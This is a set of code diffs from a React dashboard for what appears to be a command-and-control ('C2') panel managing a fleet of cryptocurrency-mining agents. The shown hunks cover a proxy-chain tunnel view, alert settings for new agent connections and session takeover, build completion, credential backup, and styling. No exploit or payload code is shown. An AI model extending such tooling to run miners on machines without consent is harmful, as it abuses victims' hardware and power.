<div className="pt-chain-hop-badge">{i + 1}</div>
<span className="pt-chain-hop-name">
{agent?.name ?? id.slice(0, 8)}
</span>
{hop && <HopStatusBadge status={hop.status} />}
</div>
{hop?.external_ip && (
<div style={{ fontSize: '0.6rem', color: '#00ffaa66', paddingLeft: '30px', fontFamily: 'monospace' }}>
{hop.external_ip}:{hop.port}
</div>
)}
{hop?.error && (
<div style={{ fontSize: '0.6rem', color: '#ff5050', paddingLeft: '30px', fontFamily: 'monospace' }}>
{hop.error}
</div>
)}
</div>
);
})}
<div className="pt-chain-arrow"></div>
<div className="pt-chain-hop">
<span style={{ fontSize: '0.7rem', color: '#888', fontFamily: 'monospace' }}>
🌐 Internet
</span>
</div>
</div>
)}
</div>
{/* Controls */}
<div className="pt-actions">
{!tracing && (
<button
className="pt-btn pt-btn-primary"
disabled={selected.length === 0 || loading}
onClick={handleTrace}
>
{loading ? <><span className="pt-spinner" />Building</> : '⬡ TRACE'}
</button>
)}
{tracing && allHopsReady && qr && (
<button className="pt-btn pt-btn-primary" onClick={() => setShowQR(true)}>
Show QR Code
</button>
)}
{tracing && (
<button className="pt-btn pt-btn-danger" onClick={handleEndSession}>
End Session
</button>
)}
{!tracing && selected.length > 0 && (
<button className="pt-btn pt-btn-ghost" onClick={() => setSelected([])}>
Clear
</button>
)}
</div>
{/* Max hop hint */}
{selected.length >= 3 && !tracing && (
<div className="pt-hint">Max 3 hops reached.</div>
)}
{allHopsReady && (
<div className="pt-info-banner">
All hops ready tunnel is active.
</div>
)}
</div>
</div>
{/* QR Modal */}
{showQR && qr && (
<QRModal
qr={qr}
onClose={() => setShowQR(false)}
onEnd={handleEndSession}
/>
)}
</div>
);
}

View File

@@ -5,12 +5,17 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import SettingsPage, { deepMerge } from './SettingsPage';
import { SoundProvider } from '../context/SoundContext';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import { api } from '../api/client';
import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
function renderSettings() {
return render(<SettingsPage />);
return render(
<SoundProvider>
<SettingsPage />
</SoundProvider>
);
}
describe('deepMerge', () => {

View File

@@ -16,6 +16,8 @@ import PoolPresetPicker from '../components/PoolPresetPicker';
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import type { BackupPool } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import { useSound } from '../context/SoundContext';
import { useVisualEffects } from '../context/VisualEffectsContext';
import './Pages.css';
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
@@ -42,6 +44,8 @@ export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
}
export default function SettingsPage() {
const { enabled: sfxEnabled, volume: sfxVolume, setEnabled: setSfxEnabled, setVolume: setSfxVolume, preview: previewSfx } = useSound();
const { glowParticles, setGlowParticles } = useVisualEffects();
const [config, setConfig] = useState<ServerConfig | null>(null);
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
const [loading, setLoading] = useState(true);
@@ -54,6 +58,10 @@ export default function SettingsPage() {
const [userMsg, setUserMsg] = useState('');
const [rotatingSecret, setRotatingSecret] = useState(false);
const [rotateMsg, setRotateMsg] = useState('');
const [backingUp, setBackingUp] = useState(false);
const [backupMsg, setBackupMsg] = useState('');
const [testingAlerts, setTestingAlerts] = useState(false);
const [alertTestMsg, setAlertTestMsg] = useState('');
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
@@ -69,6 +77,15 @@ export default function SettingsPage() {
password: 'x',
backup_pools: [],
},
alerts: {
...cfg.alerts,
notify_agent_connect: cfg.alerts?.notify_agent_connect ?? true,
notify_agent_reconnect: cfg.alerts?.notify_agent_reconnect ?? true,
notify_agent_offline: cfg.alerts?.notify_agent_offline ?? true,
notify_hashrate_drop: cfg.alerts?.notify_hashrate_drop ?? true,
notify_rejection_rate: cfg.alerts?.notify_rejection_rate ?? true,
notify_build_complete: cfg.alerts?.notify_build_complete ?? true,
},
server: {
public_url: cfg.server?.public_url ?? '',
stats_retention_hours: cfg.server?.stats_retention_hours ?? 168,
@@ -145,6 +162,20 @@ export default function SettingsPage() {
URL.revokeObjectURL(url);
};
const handleFullBackup = async () => {
setBackingUp(true);
setBackupMsg('');
try {
await api.downloadBackup();
setBackupMsg('Backup downloaded.');
setTimeout(() => setBackupMsg(''), 4000);
} catch (e: unknown) {
setBackupMsg('Backup failed: ' + (e instanceof Error ? e.message : String(e)));
} finally {
setBackingUp(false);
}
};
const handleImportConfig = () => fileInputRef.current?.click();
const handleFileSelected = (e: React.ChangeEvent<HTMLInputElement>) => {
@@ -181,6 +212,36 @@ export default function SettingsPage() {
setTimeout(() => setUserMsg(''), 3000);
};
const handleTestAlerts = async () => {
if (!config) return;
setTestingAlerts(true);
setAlertTestMsg('');
try {
if (!config.alerts.telegram_bot_token?.trim() && !config.alerts.email_enabled) {
setAlertTestMsg('Enter Telegram token + chat ID (or enable SMTP) first.');
return;
}
await api.updateConfig(config);
const result = await api.testAlerts();
const parts: string[] = [];
const tg = result.telegram;
if (tg) {
parts.push(tg.sent ? '✓ Telegram delivered' : `✕ Telegram: ${tg.error || 'failed'}`);
}
const smtp = result.smtp;
if (smtp) {
parts.push(smtp.sent ? '✓ Email delivered' : `✕ Email: ${smtp.error || 'failed'}`);
}
setAlertTestMsg(parts.join(' · ') || 'No channels configured.');
if (tg?.sent || smtp?.sent) previewSfx('success');
} catch (e: unknown) {
setAlertTestMsg('Test failed: ' + (e instanceof Error ? e.message : String(e)));
} finally {
setTestingAlerts(false);
setTimeout(() => setAlertTestMsg(''), 12000);
}
};
const handleRotateSecret = async () => {
if (!window.confirm(
'Rotate fleet secret?\n\n' +
@@ -278,7 +339,18 @@ export default function SettingsPage() {
</button>
<button className="btn btn-outline" onClick={handleExportConfig}>Export</button>
<button className="btn btn-outline" onClick={handleImportConfig}>Import</button>
<button
className="btn btn-outline"
onClick={handleFullBackup}
disabled={backingUp}
title="Downloads config, agent DB, and credentials."
>
{backingUp ? 'Backing up…' : 'Full Deck Backup'}
</button>
</div>
{backupMsg && (
<div className={`save-message ${backupMsg.includes('failed') ? 'error' : 'success'}`}>{backupMsg}</div>
)}
</header>
{saveMessage && (
@@ -333,6 +405,86 @@ export default function SettingsPage() {
)}
<div className="settings-grid">
<NeonCard accent="cyan" className="settings-section">
<h2 className="font-display">Deck Atmosphere</h2>
<p className="section-desc">
Background glow particles and sparkles sit behind the UI (pointer-events off). Turn off on
low-power devices if you want a calmer deck.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={glowParticles}
onChange={(e) => setGlowParticles(e.target.checked)}
/>
<span>Glow particles &amp; sparkles</span>
</label>
</div>
</NeonCard>
<NeonCard accent="green" className="settings-section">
<h2 className="font-display">Sound &amp; Haptics</h2>
<p className="section-desc">
Short UI bleeps and vibration on supported phones/tablets. Browsers require a click anywhere
on the deck first to unlock audio. Fleet events (agents, shares, alerts) use separate cues.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={sfxEnabled}
onChange={(e) => setSfxEnabled(e.target.checked)}
/>
<span>Enable sound effects &amp; haptic vibration</span>
</label>
</div>
<div className="form-group">
<label htmlFor="cfg-sfx-volume" className="label">
Volume ({Math.round(sfxVolume * 100)}%)
</label>
<input
id="cfg-sfx-volume"
type="range"
className="input"
min={0}
max={100}
step={5}
value={Math.round(sfxVolume * 100)}
disabled={!sfxEnabled}
onChange={(e) => setSfxVolume(parseInt(e.target.value, 10) / 100)}
/>
</div>
<div className="form-row" style={{ gap: '0.5rem', flexWrap: 'wrap' }}>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={!sfxEnabled}
onClick={() => previewSfx('click')}
>
Preview click
</button>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={!sfxEnabled}
onClick={() => previewSfx('alert')}
>
Preview alert
</button>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={!sfxEnabled}
onClick={() => previewSfx('share')}
>
Preview share
</button>
</div>
</NeonCard>
<NeonCard accent="brass" className="settings-section">
<h2 className="font-display">Control Server</h2>
<p className="section-desc">How this dashboard and API are hosted on your network.</p>
@@ -527,7 +679,9 @@ export default function SettingsPage() {
<NeonCard accent="amber" className="settings-section">
<h2 className="font-display">Alert Notifications</h2>
<p className="section-desc">Telegram and email when fleet thresholds fire (offline, hashrate crash, rejection spike).</p>
<p className="section-desc">
Telegram (and optional email) for fleet events. Set bot token + chat ID, choose what to send, then save.
</p>
<div className="form-row">
<div className="form-group">
<label htmlFor="cfg-tg-token" className="label">Telegram Bot Token</label>
@@ -537,9 +691,68 @@ export default function SettingsPage() {
<div className="form-group">
<label htmlFor="cfg-tg-chat" className="label">Telegram Chat ID</label>
<input id="cfg-tg-chat" type="text" className="input mono" value={config.alerts.telegram_chat_id || ''}
onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="-100…" />
onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="123456789" />
</div>
</div>
<p className="section-desc" style={{ marginTop: '-0.5rem' }}>
Open your bot in Telegram, send any message (e.g. <code>/start</code>), then use{' '}
<a href="https://t.me/userinfobot" target="_blank" rel="noreferrer">@userinfobot</a> to copy your numeric ID,
or read it from <code>getUpdates</code> on the Bot API. Save Calibrate, then test.
</p>
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap', marginBottom: '0.75rem' }}>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={testingAlerts}
onClick={handleTestAlerts}
>
{testingAlerts ? 'Sending…' : 'Send test notification'}
</button>
{alertTestMsg && <span className="mono" style={{ fontSize: '0.85rem', color: '#9ee0ff' }}>{alertTestMsg}</span>}
</div>
<h3 className="font-display" style={{ fontSize: '1rem', margin: '1rem 0 0.5rem' }}>Notify me when</h3>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_agent_connect !== false}
onChange={(e) => updateField('alerts.notify_agent_connect', e.target.checked)} />
<span>New agent connects to C2 (first time seen)</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_agent_reconnect !== false}
onChange={(e) => updateField('alerts.notify_agent_reconnect', e.target.checked)} />
<span>Agent reconnects (back online or session takeover)</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_agent_offline !== false}
onChange={(e) => updateField('alerts.notify_agent_offline', e.target.checked)} />
<span>Agent offline past threshold</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_hashrate_drop !== false}
onChange={(e) => updateField('alerts.notify_hashrate_drop', e.target.checked)} />
<span>Hashrate drops below threshold</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_rejection_rate !== false}
onChange={(e) => updateField('alerts.notify_rejection_rate', e.target.checked)} />
<span>Share rejection rate spikes</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_build_complete !== false}
onChange={(e) => updateField('alerts.notify_build_complete', e.target.checked)} />
<span>Forge completes successfully</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!config.alerts.email_enabled}

View File

@@ -0,0 +1,179 @@
/* ── iPhone / mobile browser compatibility ───────────────────────────── */
html {
-webkit-text-size-adjust: 100%;
text-size-adjust: 100%;
}
body {
overflow-x: hidden;
-webkit-overflow-scrolling: touch;
}
/* Safe areas (notch, home indicator) */
@supports (padding: env(safe-area-inset-bottom)) {
.mobile-bottom-nav {
padding-bottom: calc(0.35rem + env(safe-area-inset-bottom));
}
.mobile-top-bar {
padding-top: env(safe-area-inset-top);
padding-left: max(0.75rem, env(safe-area-inset-left));
padding-right: max(0.75rem, env(safe-area-inset-right));
}
.main-with-status--mobile .main-content {
padding-left: max(0.75rem, env(safe-area-inset-left));
padding-right: max(0.75rem, env(safe-area-inset-right));
}
}
/* Prevent iOS Safari zoom on focus (needs ≥16px) */
@media (max-width: 768px) {
input,
select,
textarea,
.input {
font-size: 16px !important;
}
.btn,
.nav-item,
.mobile-bottom-nav-item,
button {
min-height: 44px;
touch-action: manipulation;
}
.cursor-fire-fx {
display: none !important;
}
/* Reduce GPU load on phones */
.ambient-bg,
.ambient-bg canvas {
opacity: 0.35;
}
.table-wrap,
.agents-table-wrap,
.crucible-terminal,
pre,
code {
-webkit-overflow-scrolling: touch;
}
.table-wrap,
.agents-table-wrap {
overflow-x: auto;
max-width: 100%;
}
.system-status-bar {
padding: 0.45rem 0.75rem;
gap: 0.5rem;
font-size: 0.65rem;
}
.system-status-bar .status-pill:last-child {
margin-left: 0;
}
.fleet-toolbar {
padding: 0.65rem 0.75rem;
}
.fleet-toolbar-filters {
flex-direction: column;
align-items: stretch;
}
.fleet-filter-search,
.fleet-filter-select {
min-width: 0;
width: 100%;
}
.fleet-bulk-bar {
overflow-x: auto;
flex-wrap: nowrap;
-webkit-overflow-scrolling: touch;
padding-bottom: 0.25rem;
}
.fleet-bulk-bar .btn {
flex-shrink: 0;
}
.page-header,
.deck-hero {
flex-wrap: wrap;
gap: 0.75rem;
}
.page-header h1,
.deck-hero h1 {
font-size: 1.35rem;
}
.neon-card,
.card {
padding: 1rem;
}
.guide-code-pre {
font-size: 0.72rem;
overflow-x: auto;
}
.modal-overlay,
.pt-qr-overlay {
padding: env(safe-area-inset-top) env(safe-area-inset-right) env(safe-area-inset-bottom) env(safe-area-inset-left);
}
.crucible-layout,
.crucible-main,
.crucible-sidebar {
min-width: 0;
}
.crucible-agent-col {
min-width: 0 !important;
max-width: none !important;
}
.builder-grid,
.forge-form-grid {
grid-template-columns: 1fr !important;
}
.topology-map-wrap {
min-height: 200px;
max-height: 40vh;
}
.hashrate-chart-wrap {
min-width: 0;
overflow: hidden;
}
}
@media (max-width: 768px) {
.layout--mobile .sidebar--desktop {
display: none !important;
}
.layout--mobile .main-with-status {
margin-left: 0;
width: 100%;
min-height: 100vh;
min-height: 100dvh;
}
.layout--mobile .main-with-status .main-content {
padding: 0.75rem;
padding-top: 0.5rem;
padding-bottom: calc(4.5rem + env(safe-area-inset-bottom, 0px));
min-height: auto;
}
}

View File

@@ -0,0 +1,429 @@
/* Sacred geometry — whimsical knowledge-deck overlays (additive décor) */
.sacred-layer {
position: fixed;
inset: 0;
z-index: 1;
pointer-events: none;
overflow: hidden;
}
.sacred-layer__corner {
position: absolute;
width: clamp(72px, 11vw, 140px);
height: clamp(72px, 11vw, 140px);
opacity: 0.14;
filter: drop-shadow(0 0 6px rgba(201, 162, 39, 0.25));
}
.sacred-layer__corner svg {
width: 100%;
height: 100%;
}
.sacred-layer__corner--tl {
top: 4.5rem;
left: calc(260px + 0.75rem);
animation: sacred-drift-a 90s ease-in-out infinite;
}
.sacred-layer__corner--tr {
top: 4.5rem;
right: 0.75rem;
animation: sacred-drift-b 110s ease-in-out infinite reverse;
}
.sacred-layer__corner--bl {
bottom: 1.5rem;
left: calc(260px + 0.75rem);
animation: sacred-drift-b 100s ease-in-out infinite;
}
.sacred-layer__corner--br {
bottom: 1.5rem;
right: 0.75rem;
animation: sacred-drift-a 85s ease-in-out infinite reverse;
}
.sacred-layer__corner--mid-l {
top: 42%;
left: calc(260px + 0.25rem);
width: clamp(56px, 8vw, 100px);
height: clamp(56px, 8vw, 100px);
opacity: 0.09;
animation: sacred-geo-rotate 200s linear infinite;
}
.sacred-layer__corner--mid-r {
top: 38%;
right: 0.25rem;
width: clamp(56px, 8vw, 100px);
height: clamp(56px, 8vw, 100px);
opacity: 0.09;
animation: sacred-geo-rotate 240s linear infinite reverse;
}
.sacred-layer__keys {
position: absolute;
inset: 0;
}
.sacred-key {
position: absolute;
font-family: var(--font-display);
font-size: clamp(1.1rem, 2vw, 1.6rem);
color: rgba(201, 162, 39, 0.22);
text-shadow: 0 0 12px rgba(0, 245, 255, 0.15);
animation: sacred-key-glimmer 8s ease-in-out infinite;
}
.sacred-key--1 { top: 22%; left: calc(260px + 12%); animation-delay: 0s; }
.sacred-key--2 { top: 18%; right: 14%; animation-delay: -2s; }
.sacred-key--3 { bottom: 28%; left: calc(260px + 18%); animation-delay: -4s; }
.sacred-key--4 { bottom: 22%; right: 10%; animation-delay: -1s; }
.sacred-layer__wisdom-rail {
position: absolute;
top: 50%;
right: 0.35rem;
transform: translateY(-50%);
display: flex;
flex-direction: column;
gap: 1.25rem;
font-size: 0.7rem;
letter-spacing: 0.2em;
color: rgba(201, 162, 39, 0.16);
writing-mode: vertical-rl;
text-orientation: mixed;
}
.sacred-layer__wisdom-rail span {
animation: sacred-key-glimmer 12s ease-in-out infinite;
}
.sacred-layer__wisdom-rail span:nth-child(2) { animation-delay: -3s; color: rgba(0, 245, 255, 0.14); }
.sacred-layer__wisdom-rail span:nth-child(3) { animation-delay: -6s; }
.sacred-layer__wisdom-rail span:nth-child(4) { animation-delay: -9s; color: rgba(255, 176, 32, 0.14); }
/* Main content area — subtle hex veil */
.main-content {
position: relative;
}
.main-content::before {
content: '';
position: absolute;
inset: 0;
pointer-events: none;
z-index: 0;
opacity: 0.045;
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='56' height='100' viewBox='0 0 56 100'%3E%3Cg fill='none' stroke='%23c9a227' stroke-width='0.35'%3E%3Cpolygon points='28,2 54,16 54,44 28,58 2,44 2,16'/%3E%3Cpolygon points='28,42 54,56 54,84 28,98 2,84 2,56'/%3E%3C/g%3E%3C/svg%3E");
background-size: 56px 100px;
animation: sacred-hex-scroll 120s linear infinite;
}
.main-content > * {
position: relative;
z-index: 1;
}
.page-header--sacred {
position: relative;
padding-bottom: 0.75rem;
}
.page-header--sacred::after {
content: '';
position: absolute;
left: 0;
right: 0;
bottom: 0;
height: 1px;
background: linear-gradient(
90deg,
transparent,
rgba(201, 162, 39, 0.5) 15%,
rgba(0, 245, 255, 0.35) 50%,
rgba(201, 162, 39, 0.5) 85%,
transparent
);
}
.page-header--sacred .page-header-sacred-motif {
position: absolute;
right: 0;
top: 50%;
transform: translateY(-50%);
width: 48px;
height: 48px;
opacity: 0.2;
pointer-events: none;
}
/* Neon card corner watermarks */
.neon-card {
isolation: isolate;
}
.neon-card-sacred {
position: absolute;
width: 52px;
height: 52px;
pointer-events: none;
z-index: 0;
opacity: 0.16;
}
.neon-card-sacred svg {
width: 100%;
height: 100%;
}
.neon-card-sacred--tl { top: 6px; left: 6px; }
.neon-card-sacred--br { bottom: 6px; right: 6px; opacity: 0.12; animation: sacred-geo-rotate 180s linear infinite; }
.neon-card-sacred--tr {
top: 6px;
right: 6px;
width: 36px;
height: 36px;
opacity: 0.1;
}
/* Session gate — vault of keys */
.session-gate {
position: relative;
overflow: hidden;
}
.session-gate::before {
content: '';
position: absolute;
inset: -20%;
background:
radial-gradient(ellipse 40% 35% at 20% 30%, rgba(0, 245, 255, 0.06), transparent 55%),
radial-gradient(ellipse 35% 40% at 80% 70%, rgba(255, 45, 166, 0.05), transparent 55%);
pointer-events: none;
}
.session-gate-sacred-ring {
position: absolute;
left: 50%;
top: 50%;
width: min(90vw, 520px);
height: min(90vw, 520px);
transform: translate(-50%, -50%);
opacity: 0.1;
pointer-events: none;
}
.session-gate-sacred-ring svg {
width: 100%;
height: 100%;
animation: sacred-geo-rotate 160s linear infinite;
}
.session-gate-keys {
position: absolute;
inset: 0;
pointer-events: none;
}
.session-gate-key {
position: absolute;
width: clamp(40px, 8vw, 72px);
height: clamp(40px, 8vw, 72px);
opacity: 0.12;
}
.session-gate-key--tl { top: 8%; left: 8%; animation: sacred-drift-a 70s ease-in-out infinite; }
.session-gate-key--br { bottom: 10%; right: 8%; animation: sacred-drift-b 80s ease-in-out infinite reverse; }
.session-gate-card {
position: relative;
z-index: 2;
}
.session-gate-whisper {
font-family: var(--font-tech);
font-size: 0.65rem;
letter-spacing: 0.28em;
text-transform: uppercase;
text-align: center;
color: rgba(201, 162, 39, 0.35);
margin-top: 0.5rem;
}
/* Sidebar knowledge sigil */
.sidebar-sacred-sigil {
position: absolute;
bottom: 5.5rem;
left: 50%;
transform: translateX(-50%);
width: 88px;
height: 88px;
opacity: 0.11;
pointer-events: none;
animation: sacred-geo-rotate 300s linear infinite;
}
.sidebar-sacred-sigil svg {
width: 100%;
height: 100%;
}
/* Ambient extra corners */
.ambient-geo-corner {
position: absolute;
width: min(22vw, 280px);
height: min(22vw, 280px);
opacity: 0.06;
pointer-events: none;
}
.ambient-geo-corner svg {
width: 100%;
height: 100%;
}
.ambient-geo-corner--tl {
top: 8%;
left: calc(260px + 2%);
animation: sacred-geo-rotate 400s linear infinite;
}
.ambient-geo-corner--br {
bottom: 6%;
right: 3%;
animation: sacred-geo-rotate 320s linear infinite reverse;
}
.ambient-geo-hex-veil {
position: absolute;
inset: 0;
opacity: 0.035;
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='48' height='83' viewBox='0 0 48 83'%3E%3Cpath d='M24 1 L47 14 L47 42 L24 55 L1 42 L1 14 Z' fill='none' stroke='%23c9a227' stroke-width='0.4'/%3E%3Cpath d='M24 28 L47 41 L47 69 L24 82 L1 69 L1 41 Z' fill='none' stroke='%2300f5ff' stroke-width='0.25' opacity='0.6'/%3E%3C/svg%3E");
background-size: 48px 83px;
}
.nav-item::before {
content: '';
position: absolute;
left: 0.35rem;
top: 50%;
transform: translateY(-50%);
width: 14px;
height: 14px;
opacity: 0;
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpolygon points='12,2 22,8 22,16 12,22 2,16 2,8' fill='none' stroke='%23c9a227' stroke-width='1'/%3E%3C/svg%3E");
background-size: contain;
transition: opacity 0.25s ease;
pointer-events: none;
}
.nav-item:hover::before,
.nav-item.active::before {
opacity: 0.35;
}
/* Page heroes — command deck titles */
.deck-hero {
position: relative;
}
.deck-hero::after {
content: '';
position: absolute;
right: 0;
top: 0;
width: 56px;
height: 56px;
opacity: 0.12;
pointer-events: none;
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'%3E%3Cg fill='none' stroke='%23c9a227' stroke-width='0.2' opacity='0.8'%3E%3Ccircle cx='50' cy='50' r='32'/%3E%3Cpolygon points='50,18 62,42 50,50 38,42'/%3E%3C/g%3E%3C/svg%3E");
background-size: contain;
background-repeat: no-repeat;
}
.section-title.font-display,
.deck-hero h1 {
text-shadow: 0 0 24px rgba(201, 162, 39, 0.08);
}
.command-deck .neon-card::after {
content: '';
position: absolute;
inset: 0;
pointer-events: none;
z-index: 0;
opacity: 0.04;
background: radial-gradient(circle at 100% 0%, rgba(0, 245, 255, 0.2), transparent 45%),
radial-gradient(circle at 0% 100%, rgba(255, 176, 32, 0.15), transparent 40%);
}
@keyframes sacred-drift-a {
0%, 100% { transform: translate(0, 0) rotate(0deg); }
50% { transform: translate(6px, -8px) rotate(6deg); }
}
@keyframes sacred-drift-b {
0%, 100% { transform: translate(0, 0) rotate(0deg); }
50% { transform: translate(-8px, 6px) rotate(-5deg); }
}
@keyframes sacred-key-glimmer {
0%, 100% { opacity: 0.14; filter: blur(0); }
50% { opacity: 0.32; filter: blur(0.3px); }
}
@keyframes sacred-hex-scroll {
from { background-position: 0 0; }
to { background-position: 56px 100px; }
}
@keyframes sacred-geo-rotate {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
/* mid-l/r corners need rotate on child */
.sacred-layer__corner--mid-l,
.sacred-layer__corner--mid-r {
transform-origin: center center;
}
@media (max-width: 900px) {
.sacred-layer__corner--tl,
.sacred-layer__corner--bl,
.sacred-layer__corner--mid-l {
left: 0.5rem;
}
.ambient-geo-corner--tl {
left: 2%;
}
.sacred-key--1,
.sacred-key--3 {
left: 8%;
}
.sacred-layer__wisdom-rail {
display: none;
}
}
@media (prefers-reduced-motion: reduce) {
.sacred-layer__corner,
.sacred-key,
.sacred-layer__wisdom-rail span,
.neon-card-sacred--br,
.session-gate-sacred-ring,
.session-gate-key,
.sidebar-sacred-sigil,
.ambient-geo-corner,
.ambient-sacred-geo,
.ambient-sparkle,
.main-content::before {
animation: none !important;
}
}

View File

@@ -0,0 +1,417 @@
/**
* Visual polish layer — additive overrides only.
* Loaded last; does not replace steampunk-theme or sacred-geometry.
*/
/* ── Depth & atmosphere ───────────────────────────────────────────────────── */
#root {
min-height: 100vh;
isolation: isolate;
}
body {
background:
radial-gradient(ellipse 120% 80% at 50% -30%, rgba(0, 245, 255, 0.07), transparent 55%),
radial-gradient(ellipse 90% 60% at 100% 50%, rgba(255, 45, 166, 0.04), transparent 50%),
radial-gradient(ellipse 70% 50% at 0% 80%, rgba(201, 162, 39, 0.06), transparent 45%),
var(--bg-void);
text-rendering: optimizeLegibility;
-webkit-font-smoothing: antialiased;
}
::selection {
background: rgba(0, 245, 255, 0.25);
color: var(--text-primary);
}
a {
color: var(--brass-light);
transition: color 0.2s ease, text-shadow 0.2s ease;
}
a:hover {
color: var(--neon-cyan);
text-shadow: 0 0 12px rgba(0, 245, 255, 0.35);
text-decoration: none;
}
/* ── Main shell ───────────────────────────────────────────────────────────── */
.main-with-status {
position: relative;
}
.main-with-status::before {
content: '';
position: fixed;
top: 0;
left: 260px;
right: 0;
height: 1px;
z-index: 50;
pointer-events: none;
background: linear-gradient(
90deg,
transparent,
rgba(201, 162, 39, 0.35) 15%,
rgba(0, 245, 255, 0.5) 50%,
rgba(255, 45, 166, 0.25) 85%,
transparent
);
opacity: 0.85;
}
.layout--mobile .main-with-status::before {
left: 0;
}
.main-content {
padding: 2rem 2.5rem 3rem;
}
/* ── Page chrome ──────────────────────────────────────────────────────────── */
.page,
.page.fade-in {
animation: af-page-in 0.55s cubic-bezier(0.23, 1, 0.32, 1) both;
}
@keyframes af-page-in {
from {
opacity: 0;
transform: translateY(10px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
.page-header h1,
.page > h1.font-display {
font-family: var(--font-display);
font-size: clamp(1.35rem, 2.5vw, 1.75rem);
font-weight: 700;
letter-spacing: 0.06em;
background: linear-gradient(
105deg,
var(--brass-light) 0%,
var(--text-primary) 35%,
var(--neon-cyan) 70%,
var(--brass) 100%
);
background-size: 200% auto;
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
animation: af-title-shimmer 8s ease-in-out infinite;
}
@keyframes af-title-shimmer {
0%,
100% {
background-position: 0% center;
}
50% {
background-position: 100% center;
}
}
.page-header {
padding-bottom: 0.5rem;
border-bottom: 1px solid rgba(201, 162, 39, 0.12);
margin-bottom: 1.75rem;
}
.deck-hero h1 {
filter: drop-shadow(0 0 28px rgba(201, 162, 39, 0.15));
}
.deck-eyebrow {
text-shadow: 0 0 20px rgba(201, 162, 39, 0.25);
}
.page-subtitle {
color: var(--text-secondary);
letter-spacing: 0.02em;
max-width: 52rem;
line-height: 1.5;
}
.deck-hero-status {
border-radius: 6px;
backdrop-filter: blur(12px);
box-shadow: var(--shadow-panel), inset 0 1px 0 rgba(255, 255, 255, 0.05);
}
.section h2,
.detail-section h3 {
font-family: var(--font-tech);
letter-spacing: 0.12em;
text-transform: uppercase;
font-size: 0.8rem;
color: var(--brass-light);
}
.header-count,
.header-status {
backdrop-filter: blur(8px);
}
/* ── Cards & panels ───────────────────────────────────────────────────────── */
.card,
.neon-card {
border-radius: 6px;
transition:
transform 0.35s cubic-bezier(0.23, 1, 0.32, 1),
box-shadow 0.35s ease,
border-color 0.3s ease;
}
.neon-card:hover,
.card:hover {
transform: translateY(-3px);
border-color: rgba(201, 162, 39, 0.45);
}
.neon-card-cyan:hover {
border-color: rgba(0, 245, 255, 0.45);
}
.stat-card {
position: relative;
}
.stat-card::after {
content: '';
position: absolute;
inset: auto 0 0 0;
height: 2px;
background: linear-gradient(90deg, transparent, var(--neon-cyan), transparent);
opacity: 0;
transition: opacity 0.3s ease;
pointer-events: none;
}
.stat-card:hover::after {
opacity: 0.7;
}
.stat-value {
text-shadow: 0 0 24px rgba(0, 245, 255, 0.12);
}
.stat-value.hashrate,
.neon-glow-cyan {
text-shadow: 0 0 20px rgba(0, 245, 255, 0.35);
}
.neon-glow-gold,
.neon-glow-amber {
text-shadow: 0 0 18px rgba(255, 176, 32, 0.35);
}
.neon-glow-purple {
text-shadow: 0 0 18px rgba(178, 75, 243, 0.35);
}
/* ── Buttons ───────────────────────────────────────────────────────────────── */
.btn {
transition:
transform 0.2s ease,
box-shadow 0.25s ease,
border-color 0.2s ease,
background 0.2s ease;
}
.btn:hover:not(:disabled) {
transform: translateY(-1px);
}
.btn:active:not(:disabled) {
transform: translateY(0);
}
.btn:disabled {
opacity: 0.45;
filter: grayscale(0.3);
}
.crucible-op-btn,
.agent-action-btn,
.button {
transition:
transform 0.2s ease,
box-shadow 0.2s ease,
border-color 0.2s ease;
}
.crucible-op-btn:hover:not(:disabled),
.agent-action-btn:hover:not(:disabled) {
transform: translateY(-1px);
box-shadow: 0 4px 16px rgba(0, 0, 0, 0.35);
}
/* ── Forms ─────────────────────────────────────────────────────────────────── */
.input,
.select,
textarea.input {
transition:
border-color 0.2s ease,
box-shadow 0.25s ease,
background 0.2s ease;
}
.input:hover:not(:disabled),
.select:hover:not(:disabled) {
